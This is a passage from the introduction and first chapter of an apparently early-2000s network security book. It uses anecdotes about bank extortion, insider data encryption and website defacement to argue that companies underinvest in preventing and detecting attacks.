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Introduction

With so much going on in regard to network security (or the lack thereof), a book on this
topic almost needs no introduction. Less than 10 years ago, most people didn't even
know what the Internet or email was. To take a further step back, most people did not
even have computers at work or home, and some even questioned their usefulness.
Things have really changed. As I am writing this, the Carousel of Progress ride at Disney
World goes through my mind. Things that we considered science fiction a decade ago are
not only a reality, but an engrained part of our life. Heck, if the dedicated line at my
house goes down for more than 30 minutes, my wife is screaming at me to fix it. This is
truly the age of computers.

From a functionality standpoint, computers are great when they are stand-alone devices.
If I have a computer in my home with no network connection, do I really need any
computer security? The house usually provides enough security to protect it. But now
that everyone is connecting their computers together via the Internet, we are building
this web of trust where everyone trusts everyone else. There is just one problem:
everyone does not trust everyone else. Yet, in most cases, we are giving everyone full
access to this information. At this point, let’s step back and look at how this happened.

“ Hackers Beware * New Riders Publishing 9




This happened because people got so caught up in technology and functionality that no
one worried about security—yet security is critical in this day and age.

Ten years ago when I worked in security, I remember that no one wanted anything to do
with me. The security guy was like the smelly kid in school. No one would sit next to me
at meetings. No one would even want to go to lunch with me out of fear that his
manager would see him with the security psycho, and he wouldn't get that big
promotion. Why did people hate security so much? People did not see the value of
security; they thought it was a waste of money and did not think the threat was real.
With most other technologies, there is an immediate tangible benefit. For example, you
can directly see the benefit of installing a new network or a new server for a company—
faster access, more storage space, more efficient calculations, and so on. With security,
there is no direct benefit, only an indirect benefit—your data and information will be
secure. In most cases, a company does not realize the benefit of security until it is too
late. Only after an attacker breaks into its system and steals $10 million does a company
see the need for security and becomes willing to pay the money. Think of how much
money the company would have saved if it had invested in security originally.

As more and more companies suffer losses, hopefully, more and more companies will
start investing in security from the beginning and not wait for a major breach in security
to realize how much they need it. Think about car insurance. Everyone who buys a car
gets insurance immediately, just in case an accident occurs. I know people who have
never been in an accident for 30 years and still get insurance because they know that it
is cheaper to have insurance and not have an accident than not have insurance and get
into an accident. Companies need to use the same logic with security. No matter what
size company you are or what type of business you do, security is always a wise
investment.

No systems are safe. Any system that is connected to the Internet is getting probed and
possibly broken into. If you do not believe me, run the following simple experiment.
Because most home computers have either direct connections or dial-up connections,
you can use your home computer for this experiment. Purchase or download one of the
personal firewall products that are available on the Internet. There are several programs
out there, but Zone Alarm, available from www.zonelabs.com, has a free version for non-
commercial use. Install the program on your system, keep your system up for at least 48
hours, and get ready to be amazed. Usually within less than two days, your systems will
be probed several times and even broken into. For example, I called up an ISP, received
an IP address, connected, and within 30 minutes, I received over five probes of the
system. Think about this for a minute. If your home computer, with no domain name,
that no one cares about, gets probed and attacked, what does that say for a company? It
basically says that systems will be attacked, and without good security, they will be
broken into and compromised.

I have had companies tell me that they have never had an attempted attack against their
systems. That statement is false. The correct statement is that they have never had an
attempted breach that they detected. Just because you are looking in the wrong places
does not mean that your site is secure. It is critical that companies know the right places
to look and the proper way to secure their systems. Hopefully, this book will show you
what attackers are up to and give you insight into their tools and techniques so that you
can look in the right places and better defend your sites.

Remember, the best way to have a good defense is to understand the offense. That is
the main goal of this book: to make people aware of the techniques, methods, and tools
attackers are using to compromise systems and use that knowledge to build secure
networks. Security cannot be done in a vacuum; you must understand what the threat is.
In this field, ignorance is deadly and knowledge is power.
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Hopefully, this book will give you insight into hackers and how you can protect against
them. Securing a network is a never-ending journey; but based on my experience, it is a
very enjoyable and rewarding journey. Let’s get started on our journey into the
wonderful world of network security.

Chapter 1. Introduction

No matter what field you work in, you cannot help but notice the impact that the Internet
has had on society. It has opened up opportunities and markets that people only
dreamed of before.

As with any new technology, there is always a positive and negative aspect. The positive
side is the tremendous business opportunities. The negative side is the huge security risk
that is now posed to so many companies, yet few companies are truly aware of the
potential danger. It's like getting in a brand new car and driving down the road at
80mph, only to realize that the engineers did not equip the car with breaks. If this did
occur and a large number of people bought the car, the net result would be a high
number of fatalities because the proper breaking was not built into the car. The same
thing is occurring with the Internet. Now that companies have invested millions of dollars
in this new infrastructure, they realize that security was not properly built in, and now
their entire companies are vulnerable.

The point of this book is that there is no way to properly protect a company’s network
unless you know what you’re up against. Only by understanding how attacks work and
what an attacker does to compromise a machine can a company position itself so that it
can be properly protected. If someone tells you to protect a site against a certain threat
and you don‘t understand what the threat is or how it works, you cannot protect against
it. Knowing what an attacker can do to compromise your system and what that
compromise looks like on a network allows you to build a secure system.

Although this book goes into techniques used to hack a machine and perform common
exploits, it is not meant to be a handbook on how to hack. It is meant to help a company
properly close up its vulnerabilities and protect its computers. I want to make you aware
of the tools that are available and how easy they are to use, and I want to show you
what a company must do to have a secure network.

The Golden Age of Hacking

Based on everything we know, this truly seems to be the golden age of hacking. To sum
things up, it is a great time to be a hacker. Because there are so many possible systems
to break into and most of them have such weak security, attackers can pick and choose
which machines to go after. To make matters worse, most companies have insufficient
information or resources to track these attackers, so even if they are detected, their
chances of getting caught are slim. No one polices the Internet, and in terms of
knowledge and experience, attackers have the upper hand. Not only is it a good time to
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be a hacker, but it is a good time to be a security professional. There is plenty of work
and a whole lot of challenges ahead.

A recent and well-known example of hacking attacks happened in February of 2000.
Several large sites on the Internet were attacked within in a short period of time. The
type of attack was a distributed Denial of Service attack in which company web sites
became unreachable to legitimate users. These attacks will be discussed in detail in
Chapter 6, “Denial of Service Attacks.” From a business perspective, this had a large
impact on the victim companies. For one company, an online bookstore, the attack
resulted in lost revenue—not only did the company lose sales, but it lost customers.

Let’s look at an example. If a customer, intending to buy something online, tries to
connect to a company’s web site at 10:00 p.m. and the web browser displays the
message “Web Site Unavailable,” he might try back at 10:45 p.m. When the customer
tries again at 11:30 p.m. and still receives the same message, more than likely, the
customer will go to a competitor to buy the product. With the amount of competition on
the Internet, if a customer cannot access a site in a matter of seconds, he will quickly
give up and go to a different site.

Ironically, companies were so afraid of the Y2K problem that they dumped large sums of
money into fixing it. In several cases, it seemed like a waste because the problem was
overestimated and hyped by the media. Now there is a problem far worse, but companies
are looking the other way. They do not want to invest the money.

There are several reasons why so many companies are vulnerable, but one of the main
reasons is lack of awareness. Companies have not realized and still do not realize the
threat. One of my goals in writing this book is to make people aware of the threat and
the tools that exist to protect their sites. Ignorance is deadly, but knowledge is power. If
an attacker breaks into your house with an arsenal of guns and you have no weapons,
you cannot defend yourself. On the other hand, if you are properly trained on weapons
and know the limitations of the weapons the intruder is using, you have an upper hand.
This is the exact purpose of this book. Giving IT professionals the tools and techniques
attackers use to break into sites, equips them with the proper defenses.

How Bad Is the Problem?

To list all the sites that have been hacked would take up several pages, if
not an entire book. This section is meant to give a sample of some of the
sites that have been hacked to illustrate how bad the problem is.

The examples that follow, which were taken directly off the Internet,
range from commercial to government sites, national to international, and
entertainment to not-for-profit sites. No one is safe. No market has been
spared from hacking. Any company can be hacked if it is connected to the
Internet, no matter where it is or what it does. The following is a list of
some sites that have been hacked:

U.S. Department of Commerce
e Church of Christ

e Unicef
o Valujet
« NASA
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o United States Air Force
« CIA

o Malaysian Government
« Greenpeace

e Tucows

o Philippine’s IRS
o Star Wars

e Six Flags

« Cartoon Network
o University of Texas

e NY Times
« Dominos
« Comdex

« Motorola
e FOX

Most of these were web site attacks where an attacker went in and
changed the content—also known as web graffiti attacks. Because these
were web graffiti attacks, it was fairly obvious that the sites were
compromised. With attacks where information is acquired in a less obvious
way, there is a good chance that you would not know about it. If you
search on the web for hacked sites, or similar terms, you can see a wide
range of graffiti attacks. Just be warned that several of them could be
offensive to just about anyone.

The following is an example of a web site hack of a major search engine.
When users connected to the search engine’s URL, instead of receiving the
normal web site, they received the following:

P4NTZ/H4GiS - WORLD DOMIN4T10N '97

For the past month, anyone who has viewed this page & used
their search engine,

now has a logic bomb/worm implanted deep within their
computer.

The worm part of this 'virus,' (in layman's terms) spreads
itself across internal

networks that the infected machine is on.

Binary programs are also infected.

On Christmas Day, 1997, the logic bomb part of this 'virus,'
will become active,

wreaking havoc upon the entire planet's networks.

The virus can be stopped.
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But not by mortals.

Most people correctly assumed that the warning was a hoax, but it still
caused a lot of fear and confusion. This type of hack raises the interesting
question of “what if?” What if a popular site on the web was infected with
something like this? Think of the effect it could have.

General Trends

Because this book is about protecting against hackers or attackers, it is
important to look at what is occurring from an Internet security
perspective. Based on my experience, the Internet is an attacker’s gold
mine. Basically, attackers can break into whatever system they want with
relative ease, and the chances of getting caught are slim to none. To
make matters worse, complex attacks are being coded up so that anyone
can run these exploits against systems any time they want. Now, an
attacker with minimal experience can break into sites just like the experts.

The Internet grew so quickly that few gave any thought to security. We
now have an epidemic on our hands, and things will get worse before they
get better. Attackers have the upper hand and it will take a while before
companies secure their systems. The best thing for companies to do is
disconnect from the Internet until their systems are secure, but no one
will do that.

The other thing that makes matters worse is how companies have built
their networks. In the past, every company’s network and systems were
different. In the late 80s, companies hired programmers to customize
their applications and systems, so if an attacker wanted to break into your
network, he had to learn a lot about your environment. Your information
did not help the attacker when he tried to break into another company’s
network, because its systems were totally different. Now, every company
uses the same equipment with the same software. If an attacker learns
Cisco, Microsoft, and UNIX, he can break into practically any system on
the Internet. Because networks are so similar, and software and hardware
are so standardized, the attacker’s job is much easier.

You can argue that this also makes the security professional’s job easier
because after we learn how to secure a system, we can share it with
everyone else. There are two problems with this. First, for some reason,
the bad guys love to share, but the good guys do not. If security
professionals learned to share, the world would be a safer place. Second,
even though the operating systems and applications are the same, the
way they are configured is quite different. From an attacker’s standpoint,
that difference is insignificant; but from a security stance, it is quite
significant. Just because server A is running NT and is properly secured
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does not mean that you can clone that configuration to server B, because
it is usually configured differently.

To better understand the problem, take a look at a security breach. About
a year ago, a group of hackers was “testing” the security of various banks
and noticed that one was extremely vulnerable. In a couple of hours, they
transferred over $10 million dollars from the bank to a private account.
Because the bank had such lax security, the attackers were able to hide
their tracks so that the attack was very difficult for the bank to detect, let
alone trace who committed the crime. In addition, the attackers did not
directly attack the bank from their computers; they hopped through
several other sites, which made the task of tracking them more difficult.

Although the attackers knew that the chance of getting away with their
crime was very high, they began to feel apprehensive and wanted to
ensure that there was no chance of getting caught or being prosecuted. To
ease their concerns, shortly after the attack, the attackers called the bank
and made an appointment with the president to explain themselves and
their security attack. They went into his office and explained to him who
they were and what they had done. The attackers proposed two solutions
to the president. First, they told the president that the bank could try to
prosecute. However, the attackers said they would deny everything,
including their conversation. The attackers said that the attack was so
smooth the bank would not find enough information to put them in jail.
Furthermore, the attackers made it clear that if the bank did go forward
with prosecution, they would make sure that every radio station,
television network, and newspaper would run reports about the bank
robbery and how easy it was to steal the bank’s money. The bank would
lose even more money in lost customers because of the bad publicity. The
bank’s second option, the attackers continued, was to sign a proposal,
which would indicate that the attackers were performing a security
assessment at the bank’s request for the fee of $5 million dollars. Then,
the attackers would return the remaining $5 million dollars.

Do you want to guess what the president did? In a matter of two minutes,
he signed the document and recovered half of the bank's money.

Unfortunately, this story is true. Attackers have the upper hand and
companies are at the mercy of these attackers. In this example, the
president of the bank made a wise choice by minimizing the bank’s losses.
With the solution he picked, the bank lost $5 million dollars. If the bank
tried to prosecute, not only would it have not recovered the $10 million
dollars, but it would have lost additional money due to bad publicity.
Companies have to realize that, until they implement proper security,
attackers can compromise their networks and possibly control their
companies.
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Systems Are Easy to Break Into

The people performing the current attacks have a wide range of skill and
experience. On one end are the script kiddies who have a lot of time but
low expertise, and on the other end are the experienced hackers who
have a high level of expertise. It is unfortunate, but security at most
companies is so poor that attacks requiring low expertise are highly
successful. Even worse is that most of the script kiddies who are running
the attacks do not understand what they are doing. They download some
executable or scripts, run them, and are either given a prompt on a
machine or an account that has domain administrator access. An average
user who understands the basic features of an operating system, such as
logging on, and can use a mouse and keyboard, can perform the steps
that are required to perform these attacks.

Most houses avoid break-ins because they put in the basic measures to
protect themselves from the average thief, not because they have Fort
Knox's security. A very sophisticated attacker can break into any house,
but because there are less of those attackers, protecting against the low
expertise attacker provides a high-level of protection. That is why most
people lock their doors and windows and possibly install an alarm system.
On the Internet, the script kiddy attackers are at a level of sophistication
where they know how to get in if there are no locks, but companies are
still in the mindset of 100 years ago where none of the doors had locks
and some of the entrances did not even have doors. Yes, the problem is
that bad, and until companies realize the large number of attackers with
low sophistication and protect against those basic attacks, there will
continue to be a big problem. As long as sites are connected to the
Internet, they will never be 100 percent secure, but we need to get that
number to at least the low 90th percentile. Today, most companies are
probably below 50 percent secure, which is being optimistic. For their
enterprises to be secure, companies need to change their mindset on how
they look at the Internet.

Attacks Are Easy to Obtain and Easy to Use

Not only are systems easy to break into, but the tools for automating
attacks are very easy to obtain on the Internet. Even though an attacker
might have a minimal amount of sophistication, he can download tools
that allow him to run very sophisticated attacks. The ease at which these
tools and techniques can be obtained transforms anyone with access to
the Internet into a possible attacker. If you can use a computer, you can
compromise systems using complex attacks, without even realizing what
you are doing.

Boundless Nature of the Internet
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Another issue is the ease in which a user connected to the Internet can

travel across local, state, and international boundaries. Accidentally typing
one wrong number in an IP address can be the difference of connecting to
a machine across the room and connecting to a machine across the world.

When connecting to a machine outside this country, international
cooperation is required to trace the connection. Based on the ease of
connecting to a machine anywhere in the world, attackers can hide their
path by hopping through several computers in several countries before
attacking a target machine. In many cases, picking countries that are not
allies can almost eliminate the possibility of a successful trace.

For example, if an attacker wants to connect to a machine in California, he
can connect directly to that machine, which only takes a couple of seconds
but enables someone to easily trace it back to him. On the other hand, if
he spends a couple of minutes, he can connect to a machine in England,
connect to a machine in Russia, one in France, then the Middle East, then
Israel, the Far East, and then California. In this case, it is almost
impossible to successfully trace the attack back to the attacker. First, it
takes a lot of time, and second, it requires timely cooperation among all
the regions, which would be difficult at best.

Vast Pool of Resources

Not only does the Internet make it easier for attackers to break into
systems or commit crimes, it makes it easier for people to learn how.
Attackers have access to a large number of systems that can be
compromised, but they also have access to a huge amount of people and
resources that can show them how to commit a crime. If an attacker
wants to compromise a particular operating system that he is not familiar
with, he can either spend months researching it or he can access the
Internet and find out what he is looking for in a matter of minutes.
Because of the sheer number of resources that are at an attacker’s
disposal, his job becomes that much easier.

No one Is Policing the Internet

Currently, because there is no one policing the Internet, when problems
occur, there are not clear lines over who should investigate and what
crime has been committed. Most states are trying to take conventional
laws and apply them to the Internet. In some cases, they apply, but in
other cases they do not adapt well. Even if there were an entity policing
the Internet, it would still be difficult because people are committing the
crimes virtually. To get pulled over for speeding, I physically have to get
in a car and commit the crime. With the Internet, I am committing a crime
virtually, which makes it more difficult to track and prosecute.

Companies Don’t Report
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Another major concern is that very few attacks get reported. I call this the
iceberg effect, because when you look at the problem from the surface, it
is not that bad considering the Internet is fairly new. On the other hand, if
you look below the surface, there is a huge problem. There are two main
reasons why most attacks go unreported: ignorance and bad publicity.

Ignorance

First, companies do not realize that they are being attacked. This is a
major problem and can cause a lot of damage for a company. Even if a
company cannot prevent an attack, if it can detect it in a timely manner, it
can minimize the amount of damage caused. Not being able to detect it at
all not only causes major problems for the company, but also can cause
major problems for other companies because one site can be used as a
launching pad for other attacks.

This is one of the huge problems with protecting a site against Denial of
Service attacks. When a company has a Denial of Service attack launched
against it, there is little that it can do to protect against attacks in the
future. The way to protect against attacks is to make sure that no other
sites on the Internet can be used as a launching pad for these attacks. In
essence, the only way that your site can be secure is if every other site on
the Internet does the right thing. I don’t know about you, but relying on
millions of other sites for the security of my site doesn’t help me sleep
easy at night.

Bad Publicity

The second reason most attacks go unreported is fear—fear of bad
publicity. In most cases, as soon as a company reports a security breach,
it becomes public information. Imagine if the headlines on the front page
of the Washington Post were “Bank X Hacked—20 Million Dollars Lost!” I
don’t know about you, but if I were a member of that bank, I would
quickly withdraw my money and put it somewhere else. Most companies
understand that they would lose more money in bad press if they reported
the incident than if they did not report it and absorbed the loss into their
operating expenses. Also, most security incidents go unsolved, so why
report it, suffer the bad press, and not recover the lost revenue? This is
the worse scenario because not only does the company lose the money,
but it also gets the bad publicity. For these reasons, most companies are
very reluctant to report successful security breaches.

How Did It Get So Bad?

When the Internet became popular for commercial use, every company
looked at the benefits of using it. Executives got caught up in the
increased revenue they could earn with this new connectivity. Everyone
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looked at the positive side, but few looked at the negative side. Very few
people stepped back and considered the huge risk companies pose to
themselves and their customers by jumping so quickly into the Internet.
As with any problem, the longer it goes ignored, the worse it gets. Now
the problem continues to get worse, and companies have no choice but to
fix the problem or go out of business. Let’s look at some of the reasons
why the problem has escalated.

Y2K Issue

There was not a company in the world that was apathetic to the Y2K
problem. Because of the huge media attention drawn to Y2K, many
companies put all of their resources and efforts into solving the Y2K bug,
often ignoring all other issues. Several companies treated Y2K like it was
the only major threat to their company. Companies failed to realize that,
in the midst of preparing their machines for Y2K, they totally neglected
and sometimes increased their security risks in other areas.

Unfortunately, within the next year, several companies are going to see
the side effects of their Y2K resolutions. The method in which most
companies fixed their Y2K problem contradicted all well-known security
practices. First, most companies hired outside consultants to fix the
problem. Because the companies were in a rush to fix the problem as soon
as possible, most did not perform background checks on the consultants
and therefore had no idea who was working on their systems. To make
matters worse, most companies gave the people working on the problem
full administrator access to all systems; and because their employees
were so busy, they provided no supervision to what the consultants were
doing. Under normal circumstances, a company would never think of
doing this, but they did in the name of Y2K. What would have stopped an
attacker from putting a backdoor into a company’s systems so he could
access the resources whenever he wanted?

Second, because of time, most patches and updates that were made to
systems were not tested and verified, which means that basically any
program and/or virus could have been loaded onto the machines. Now
that Y2K is over, most companies believe that their systems successfully
became Y2K compliant, yet very few have any idea what is running on
their systems.

As I mentioned previously, there was nothing in place to stop an attacker
from putting a backdoor into a system for him to have access at a later
time. In most cases, if an attacker put a backdoor in, he would not go in
right away, but he might use that backdoor a year later. Even if the
company did detect the attack, it would never trace the attack back to the
changes that were made a year earlier. Based on how companies
approached or ignored security, many issues will have to be dealt with in
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the coming months and years. After you neglect a problem for so long,
when you finally address it, things get worse before they get better.

Companies have a hard time believing there is a security risk because of
the following three things:

o It is currently happening.

o It will continue to happen.

o It is so subtle that by the time a company realizes there is a
problem, it is too late.

Companies liked the Y2K problem because it had a deadline, it had a
remedy, and after midnight on New Year’s Eve, the threat was gone. The
current Internet security problem is a totally different animal that very few
people understand. It is occurring as we speak, there is no deadline, and
there is no easy, straightforward way to protect against it. Over the next
couple of years, there is going to be a big change in the current landscape
of companies that are successful. Those that pay attention and adhere to
proper network security will rise ahead, and those that do not will fall by
the wayside. Unfortunately, the worst is yet to come.

Cost and Ineffectiveness of Fixing Existing Systems

The good news is that more and more companies are becoming aware of
security and are starting to take it seriously. The bad news is that it's a
little too late, and the problem is going to get worse before it gets better.
There are several reasons for this, but one of the biggest is that when you
ignore a problem for so long, fixing it takes a lot of work.

Most people think about security as an afterthought. They decide to build
the network and later put in a firewall or other security measures. As
proven by the increase in attacks, this model is not efficient.

If this model were followed in the construction industry, the following
scenario would occur when building a house: The general contractor would
go in and frame the house. He would put the roofing, siding, and drywall
up and then paint and carpet the entire house. Next, the electrician would
rip out all of the walls, run the wiring for the electricity, put new drywall
up, and re-paint the walls. The plumber would then come in and go
through the same effort. As you can see, houses are not built this way for
three main reasons: it is inefficient, it is expensive, and the end product is
inferior. Yet, for some reason, people still build networks this way.
Security cannot be an afterthought; it has to be incorporated into the
network design from the beginning.

Intangible Nature of Security Benefits
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Another issue surrounding security is that when a company decides to
invest in security, the cost benefits are not tangible. If you invest in a new
network backbone, you can see an increase in speed. If you invest in new
servers, you can see an increase in performance. If you invest in security,
you minimize the chances of someone breaking into your site, but there
are no direct, tangible benefits that management can see.

This is problematic because most companies think that they haven't had a
breach in security, and they wonder why they need to make the additional
investment. Their argument is because they haven’t had a breach in the
last year, why spend additional money to minimize the risk when they
spent no money last year and had no problems?

As you can see, this is an issue of awareness. Companies need to realize
that just because they have not detected a breach (even though they
weren’t looking) doesn’t mean that they haven’t had one. Until companies
start investing in security and integrating security closely with the
network, attacks like the distributed Denial of Service attacks that
occurred in February of 2000 will only become more frequent. Previously,
I had the opportunity to head up internal security for a large
telecommunications company. Initially, the company knew that security
was something it needed to address but it did not want to invest any
money in it. After much discussion, the company allocated an appropriate
budget for setting up security. After several years of not having a major
successful security breach, the company decided to cut the security
budget severely. The argument was based on the belief that, because
there were no breaches, it was wasting money on security.

This logic happens all too often but is wrong on so many fronts. It's like
saying, "Why invest money in a new roof for our house when we've never
gotten wet in the last 10 years?” In this example, it is quite obvious that
the inside of the house was not wet because of the roof, which therefore
was a good investment.

As straightforward as this might seem, most companies do not follow this
logic when it comes to security. The reasoning behind the security
investment is this: If security breaches are not common in your company,
your security investment is working. In addition, because the current state
of affairs in network security is getting worse, you need to invest
additional resources. On top of that, because most companies have
neglected security for so long and are so far behind, they need to invest
even more resources so that they can not only catch up, but get ahead of
the curve. Until companies start realizing that security is an investment
they can’t afford not to make, the number of problems will increase.
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What Are Companies Doing?

You cannot open a national newspaper without reading about a breach in
security. It is interesting to remember that, even with all the talk about
network security or lack of security, a large percentage of companies still
do not report security breaches. There are two reasons for this. First,
most companies do not want the bad publicity associated with reporting a
breach. Second, and far more likely, most companies do not know when a
breach has occured. If a perpetrator gains access to a system and
compromises sensitive information without causing any disruption of
service, chances are the company will not detect it. Most companies
detect attacks that result in a disruption of service and/or negative
attention.

Reflect on the following scenario: Company A should have made a large
sum of money off of a new idea that it was the first to market on. Through
a breach in security, a competitor acquired the information and sold a
competing product. Company A should have made $40 million dollars but
only made $30 million because of the compromise in security. In this
example, unless a company had strong security to begin with, how could
it attribute the loss of funds to minimal network security? The loss would
be written off to other factors that had no relation to the real cause.

As you read through the examples in this book, some might sound a little
far fetched or ridiculous, but unfortunately, these examples represent the
current state of security within most companies, and stories like these are
all too common. Companies are so unprepared for the types of attacks
that are occurring that they look for an easy way out after they’'ve been
hit. This lack of preparation is one of the biggest problems within the
current state of security.

Zero Tolerance

Some people say that a company will always be vulnerable unless it takes
a zero tolerance approach to hackers and blackmailing. This has some
validity, but the main concern of most executives is keeping their
company in business and profitable; therefore, a zero tolerance approach
does not always work. If companies were more prepared to deal with the
current threats and had some level of protection, they could fight back.
Unfortunately, companies are in such bad shape when it comes to security
that in many cases they have no choice but to give in or go out of
business. The following is an example supporting the fact that companies
cannot always take a zero tolerance approach to hacking.

A senior network administrator, Bob, was up for a promotion at a rapidly

growing company. After much discussion among company executives, Bob
was not only turned down for the position, but also given additional
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responsibilities without an increase in pay or a new job title. As a result of
his frustration and outrage, Bob went into work one weekend and digitally
encrypted all of the file shares and the last three weeks worth of backups,
enabling Bob to have the only key with the ability to decrypt the
company’s data. This meant that all of the company’s data was
unreadable without Bob’s key. The only non-encrypted backups that were
available were over a month old, which meant the usefulness of the
information was minimal. On Monday morning, Bob went to the Chief
Information Officer (CIO) and explained that unless he received a raise
complete with back pay, all of the data would remain unreadable.

This company had a zero tolerance policy for this type of behavior, which
resulted in the company not only refusing the request, but also forcing
legal action against Bob. The good news was that after many months in
court and high legal fees, they successfully prosecuted Bob. The bad news
was, because the company lost access to all of its information, it basically
had to start from scratch on most projects. As a result, the company lost
several clients, and unfortunately, the company went out of business
within eight months of the incident. In some cases, taking a zero
tolerance approach works, but because of potentially harmful results, it is
a hard decision for a company to make. Looking at the big picture, it
sometimes turns into a decision of whether the company wants to stay in
business or not.

As you can see, when a company’s security is weak, it is in no position to
negotiate. Again, the problem will continue to get worse before it gets
better.

Security Through Obscurity

Many companies also take the security through obscurity approach:
“Because no one knows about my network and no one really cares about
my company, why do I need security? No one would try to break in.” With
the ease of breaking into sites, this logic does not hold. Companies of all
shapes and sizes in all different business areas have been broken into.
Most companies have learned that when it comes to security, ignorance is
deadly.

If you believe that your company is so insignificant that attackers would
not want to break in, you are living under false pretenses. I have
registered small test sites by acquiring some IP addresses and registering
a domain name. Within two days of setting up the site, I was scanned
several dozen times and, in some cases, people attempted to break in.

This shows two important facts about the Internet. First, no site is too

small for someone to try to break into. Second, attackers are scanning the
Internet, and when new machines come online, they try to go after them
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figuring that a new site probably doesn’t have proper security—after all,
that’s the last thing most people address. In other words, if you are
setting up a new site, do not put it online until all of the security has been
implemented. Otherwise, you might be surprised.

Attempting to Fix Established Systems

Most people think about security as an afterthought. They build the
network and later put in a firewall or other security measures. With the
increase in attacks, however, this model is not efficient.

If a site has been online for any period of time and has not had proper
security, the company has to assume the worst. When trying to secure
existing systems, companies have to assume the systems have been
compromised. In a lot of cases, it makes more sense in terms of time and
money to save the data and rebuild the systems from scratch than trying
to patch a potentially compromised system.

Concentrating on an All or Nothing Approach

One major mistake that many people make is that they treat security as
all or nothing. If a company cannot achieve top-notch security, it gives up
and leaves its systems with no security. Companies need to realize that
some security is better than none, and by starting somewhere, they
eventually will get to the point where they have a very secure site.

Also, in most cases, a small percentage of exploits account for a large
number of security breaches. Therefore, by providing some level of
protection, you can increase your security tremendously against the
opportunistic hacker.

What Should Companies Be Doing?

Companies are embracing the Internet for most aspects of their business,
but they are looking at it from a purely functional standpoint. Does the
application that is using the Internet have the proper functionality it needs
to be profitable? That question is definitely a good start, but companies
need to change their mindset and put security in the picture. Security is
one of those measures that if you wait until you need it, it’s too late. It is
equivalent to not having a phone and saying that you will get one when
you need it. But if you wait until you have an emergency and you need to
call an ambulance, it’s too late to get a phone. You need to have a phone
in place so that when a potential emergency arises, you can minimize the
effect by calling for help immediately. The proper security mechanisms
need to be in place so that when a breach occurs, you can react
accordingly and minimize the effect it has.
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To understand what mechanisms should be put in place, let’s look at some
general security principles and how they can fix the current problem.

Invest in Prevention and Detection

To have a secure site, companies must realize that there are two pieces to
the puzzle: prevention and detection. Most companies concentrate their
efforts on prevention and forget about detection. For example, on
average, more than 90 percent of large companies have firewalls installed,
which are meant to address the prevention issue. The problem, however,
is twofold. First, a company cannot prevent all traffic, so some will get
through, possibly an attack. Second, most prevention mechanisms that
companies put in are either not designed or not configured correctly,
which means they are providing minimal protection if any.

A common theme emphasized throughout this book is that prevention is
ideal but detection is a must. A company wants to build its security to
prevent as many attacks as possible, but it cannot prevent every attack.
In cases where an attack cannot be prevented, a company needs to
ensure that its defenses are set up in such a way that it can detect the
attacker before he successfully compromises the network.

I am astonished by the number of sites I have seen that have firewalls
installed with lines bypassing the firewall. When questioned about this, the
response is usually, “"Well, since people complained that the firewall was
blocking traffic, we decided to give them a separate route.” If this isn't a
contradiction, I don't know what is. A company puts in a firewall to block
unauthorized traffic, but when employees complain because the firewall is
doing its job, the company gives them a way around it. This provides the
attacker a path of least resistance. If an attacker has two ways into a
site—one through the firewall and one around it—which one will he pick?

Even if a company has good prevention mechanisms, which most do not,
being able to detect an attack in a timely manner is key.

Close the Biggest Holes First

When an attacker is going to attack a company’s site, he is always going
to take the path of least resistance. Therefore, it is critical that a company
understands all of its weaknesses and does not concentrate all of its
efforts in one area. Too often, I see a company that has invested a large
amount of money in a firewall configuration to protect the network.
Unfortunately, the company forgets its dial-up systems that bypass the
firewall with no authentication. Why would an attacker spend large
amounts of time trying to get through a secure firewall, when he can just
dial up and bypass the firewall?
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A company always has to understand its weakest link and fix it first. As
soon as a company fixes the weakest link, the second weakest link
becomes the weakest link, which then must be fixed. With system
security, there is always a problem that has to be fixed. Only by
understanding a company’s security posture and having a plan in place to
minimize risk, can a company overcome these problems.

The goal of a security professional is to find the weakest link and patch it
before an attacker tries it. The ultimate goal is that you fix enough of
these vulnerabilities so that an attacker is not successful and goes away.
Remember, except in very few cases, you are never going to be able to
remove every vulnerability. For example, connecting to the Internet is a
vulnerability, yet most companies agree that the benefits outweigh the
weaknesses. The goal is to eliminate and mitigate enough of your risks
that an attacker either goes away or you detect him before he is
successful.

Raise Security Level to Stop Casual and Amateur Attackers

Most people think that attackers will only use the most complex and latest
and greatest exploits. Therefore, if they protect against them, they are in
good shape. However, if an attacker can compromise a system by using a
low-tech exploit that takes 10 minutes or a high-tech one that takes 10
days, which do you think he will pick?

I often perform security assessments where companies have invested
large sums of money in security, yet they miss some of the easy stuff. In
one assessment, a company religiously applied all of the latest security
patches and had multiple firewalls and Intrusion Detection Systems and
strong authentication for all accounts. Through war dialing, I found the
company'’s dial-up number, but was unable to guess anyone’s password.
For completeness, I typed in guest as the userID and no password and it
let me in! I was stunned! How could a company with such strong security
overlook the obvious? Unfortunately, this happens often because
companies get so caught up in high-level security, they miss the easy
items that literally take seconds to fix.

More Focus on Detection

Companies cannot wait until they feel the impact of an attack to take
action. The sooner you detect a problem, the less damage it will have to
your company. If a company detects an attack immediately, it might cost
two hours worth of work with no network downtime. If it takes two weeks
to detect the attack, it might cost several days of work and some network
downtime. The problem only increases with time.
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After you connect to the Internet, no matter how efficient your security is,
an attacker will always be able to get in. The strategy is to prevent
damage as much as possible and then to quickly detect what gets
through. Most security professionals argue that the only true secure
system is one that is not plugged in to electricity and is buried in 10 feet
of cement. To emphasize this fact, the Department of Defense does not
give a high security rating to any machine that has a network interface
card installed. As soon as you connect a machine to a network, the level
of confidence and trust in that machine’s security decreases
tremendously.

Protecting against attacks requires constant attention and monitoring. One
of the mottos I reiterate throughout this book is that prevention is ideal,
but detection is a must. A company that is connected to the Internet will
never be able to prevent every attack. Therefore, in cases where an
attacker is successful, a company must detect the attack as soon as
possible.

Although detection is the key to good security, it is the one area where
most companies do a terrible job. The reason is simple: Detection requires
a lot of time and resources because there is an ever-changing target. Most
companies prefer to install a firewall, say they are secure, and forget
about it, but this leads to a false sense of security, which many argue is
worse than not having security at all. With a false sense of security, you
think you are secure and forget about it, when in reality you are
vulnerable. If companies really want to be secure, they need to invest the
necessary time and effort in detecting breaches, realizing that prevention
is part of the battle. Most companies act as if prevention is the whole
battle.

Let’s look at another example. I was working with a company on some
network issues and was trying to convince it to have a security
assessment performed so that it could better understand and minimize its
risks. This was a high-profile company that had a lot to lose if its
proposals or client lists were made public. The company did not want an
assessment because in the last two years they hadn’t had any breaches in
security and, therefore, did not think they needed it. I asked the clients
how many attempts at breaking into the site they had detected. They
stated that attacks were not detected because they were not looking for
any attacks. “The way we determine whether we have been breached is if
users complain or if there is disruption to our service.” A better statement
for the company would have been that they have had minimal disruption
that could be traced directly back to a breach in security.

This example sums up why the problem is so bad and will continue to get

